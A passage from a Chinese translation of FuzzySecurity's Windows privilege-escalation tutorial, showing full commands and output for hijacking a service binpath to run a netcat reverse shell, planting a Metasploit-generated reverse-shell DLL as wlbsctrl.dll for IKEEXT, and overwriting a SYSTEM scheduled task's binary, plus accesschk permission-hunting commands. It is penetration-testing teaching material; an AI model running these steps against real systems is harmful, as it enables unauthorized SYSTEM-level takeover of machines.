让我们来看看怎么实践操作，在这个例子里该服务将会执行 netcat 并且可以反弹一个 SYSTEM 权限的 shell。其它的操作方法当然也是可能存在的。C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalService C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" [SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= "" [SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost
【不支持外链图片，请上传图片或单独粘贴图片】即使服务是不正确配置的，我们大多时候也不能获取该服务完整的控制权限。下图是从 Brett Moore’s 在 Windows 提权方面的渗透测试，图中的任一权限都可以给我们一个 SYSTEM shell
【不支持外链图片，请上传图片或单独粘贴图片】重要的是去记住我们搞定的 session 是属于哪个用户组的，正如先前提到的 “Power Users” 被视为是一个低权限用户组。但 “Power Users” 也有一些属于他们自己的配置漏洞， Mark Russinovich 已经在这个问题上写了非常有趣的文章。
“Power Users” 的力量 ( Mark Russinovich )最后，我们将会检查文件/目录的权限，如果我们不能直接攻击计算机系统，我们就让计算机做所有的繁重工作。由于这方面涉及内容太多，所以我将介绍两种提权漏洞给你，并展示如何去利用它们。一旦你掌握了通用的思路，你将能够在其它场景下应用这些技术。
作为第一个示例，我们将复现 GreyHatHacker 上 Parvez 的一篇文章中的方法。“利用低文件夹权限提权”，这是一个很棒的提权思路，我非常推荐大家去阅读。
这个示例是DLL 劫持中的一个特例。程序通常不能通过它们自身实现功能，它们需要挂载许多自身所需的资源（大多是 DLL 但也有某些特有文件）。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件，那我们就可以借此弹出一个与之相同权限的 shell
通常一个 Windows 应用程序将会使用一个预定义的搜索路径去寻找 DLL 组件，而且它会以特定的顺序检查这些路径。DLL 劫持经常是将一个恶意的 DLL 置于某一搜索路径中，并确保恶意 DLL 会在合法的 DLL 之前被找到。
以下是在32位操作系统下 DLL 查找的顺序- 1 The directory from which the application loaded
- 2 32-bit System directory (C:\Windows\System32)
- 3 16-bit System directory (C:\Windows\System)
- 4 Windows directory (C:\Windows)
- 5 The current working directory (CWD)
- 6 Directories in the PATH environment variable (system then user)
有时应用程序想要加载的 DLL 可能不在主机上，引起该问题的原因有很多，比如当 DLL 文件只存在于某个未安装的插件或者计算机特性（feature）时。在这种情况下， Parvez 发现某些 Windows 服务会去试图加载默认安装中不存在的 DLL。
但由于问题中的 DLL 不存在，所以我们将遍历所有路径。作为一个低权限的用户，也许我们可以去放置一个恶意 DLL 在上述路径中的 1-4 中。而路径 5 是行不通的，因为我们正在研究的是 Windows 服务，我们并没有所有目录的写权限
让我们来看一下如何进行实战，在本例中，我们将会利用需要加载 wlbsctrl.dll 的 IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务# This is on Windows 7 as low privilege user1. C:\Users\user1\Desktop> echo %username% user1 # We have a win here since any non-default directory in "C:\" will give write access to authenticated users. C:\Users\user1\Desktop> echo %path% C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Program Files\OpenVPN\bin;C:\Python27 # We can check our access permissions with accesschk or cacls. C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C # Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot!C:\Users\user1\Desktop> sc qc IKEEXT [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem现在必要的条件都已经满足了，我们可以生成一个恶意的 DLL 并弹出一个 shell
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 vlad902@gmail.com> sf stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 314 Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}在将恶意 DLL 传送到靶机之后，我们需要将它重命名为 wlbsctrl.dll 并将它移动到 “C:\Python27” 路径下。完成后，我们只需要耐心等待机器被重启（或者我们可以尝试强制重启），之后我们就可以得到一个 SYSTEM shell。
# Again, this is as low privilege user1. C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/18/2014 01:49 PM DIR> . 02/18/2014 01:49 PM DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/18/2014 12:38 PM 14,336 evil.dll 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python27 02/18/2014 01:53 PM DIR> . 02/18/2014 01:53 PM DIR> .. 10/20/2012 02:52 AM DIR> DLLs 10/20/2012 02:52 AM DIR> Doc 10/20/2012 02:52 AM DIR> include 01/28/2014 03:45 AM DIR> Lib 10/20/2012 02:52 AM DIR> libs 04/10/2012 11:34 PM 40,092 LICENSE.txt 04/10/2012 11:18 PM 310,875 NEWS.txt 04/10/2012 11:31 PM 26,624 python.exe 04/10/2012 11:31 PM 27,136 pythonw.exe 04/10/2012 11:18 PM 54,973 README.txt 10/20/2012 02:52 AM DIR> tcl 10/20/2012 02:52 AM DIR> Tools 04/10/2012 11:31 PM 49,664 w9xpopen.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free万事俱备，我们只需要等待机器重启。出于演示目的，我在下面截图中是使用管理员指令手动重启该服务
【不支持外链图片，请上传图片或单独粘贴图片】对于我们最后的例子，我们将关注于计划任务。回顾我们之前搜集到的信息，我们有以下条目
HostName: B33F TaskName: \LogGrabberTFTP Next Run Time: 2/19/2014 9:00:00 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: N/A Last Result: 1 Author: B33F\b33f Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 9:00:00 AM Start Date: 2/17/2014 End Date: N/A Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled这看起来像有一个 TFTP 客户端连接到远程主机去搜集某些 log 文件。我们可以看到这个任务每日早9点以 SYSTEM 权限运行，再看看我们是否有这个文件夹的写入权限
C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs" E:\GrabLogs Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs 02/18/2014 11:34 PM DIR> . 02/18/2014 11:34 PM DIR> .. 02/18/2014 11:34 PM DIR> Logs 02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free显然这是一个严重的配置问题，这个计划任务根本不需要以 SYSTEM 权限执行，但更糟糕的是任何授权的用户都有该目录的写权限。理想情况下，对于一次渗透测试我会抓取一个 TFTP 客户端在里面放一个后门，确保它仍然正常工作，再将其放回靶机。然而出于演示目的，我们可以简单的通过 metasploit 生成一个二进制文件然后直接覆盖它。
root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O Name: Windows Command Shell, Reverse TCP Inline Module: payload/windows/shell_reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 314 Rank: Normal Provided by: vlad902 vlad902@gmail.com> sf stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe x86/shikata_ga_nai succeeded with size 341 (iteration=1)现在工作只剩下上传我们的恶意可执行文件并覆盖掉 “E:\GrabLogs\tftp.exe” 文件。一旦上传成功，我们就可以去休息了，等到明早睡醒就可以得到我们的 shell 。对了，别忘记去检查我们靶机的时间/时区
C:\Users\user1\Desktop> dir Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Users\user1\Desktop 02/19/2014 01:36 AM DIR> . 02/19/2014 01:36 AM DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied.为了证明这次提权，我调快了系统时间。从以下截图中可以看到，在早9点时我们得到了 SYSTEM shell
【不支持外链图片，请上传图片或单独粘贴图片】在思考获取文件/文件夹权限时，这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的 binpaths
我们已经知道了 accesschk 是一种测试工具。在文章结束之前，我会再给你一些使用 accesschk 的技巧# 当用户第一次使用任何一个 sysinternals 工具包的工具时，用户都会看到一个选择是否接受EULA的弹出窗口，这显然是一个大问题，但我们可以添加一个额外的参数来自动接受EULA accesschk.exe /accepteula ... ... ... # Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.*最后的一些想法
本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题，你需要投入大量的工作和研究。就像所有的渗透测试一样，举一反三是关键，你对目标的了解越多，攻击的途径越多，成功的几率就越大。
还要记住，有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题，你可以始终重新配置一个服务，或者创建一个具有系统级别特权的调度任务。
现在就去实践，然后得到SYSTEM!!- 作者：FuzzySecurity(Ruben Boonen)
- 翻译：i春秋翻译小组-北鸢
- 责任编辑：jishuzhain
- 翻译来源：http://www.fuzzysecurity.com/tutorials/16.html
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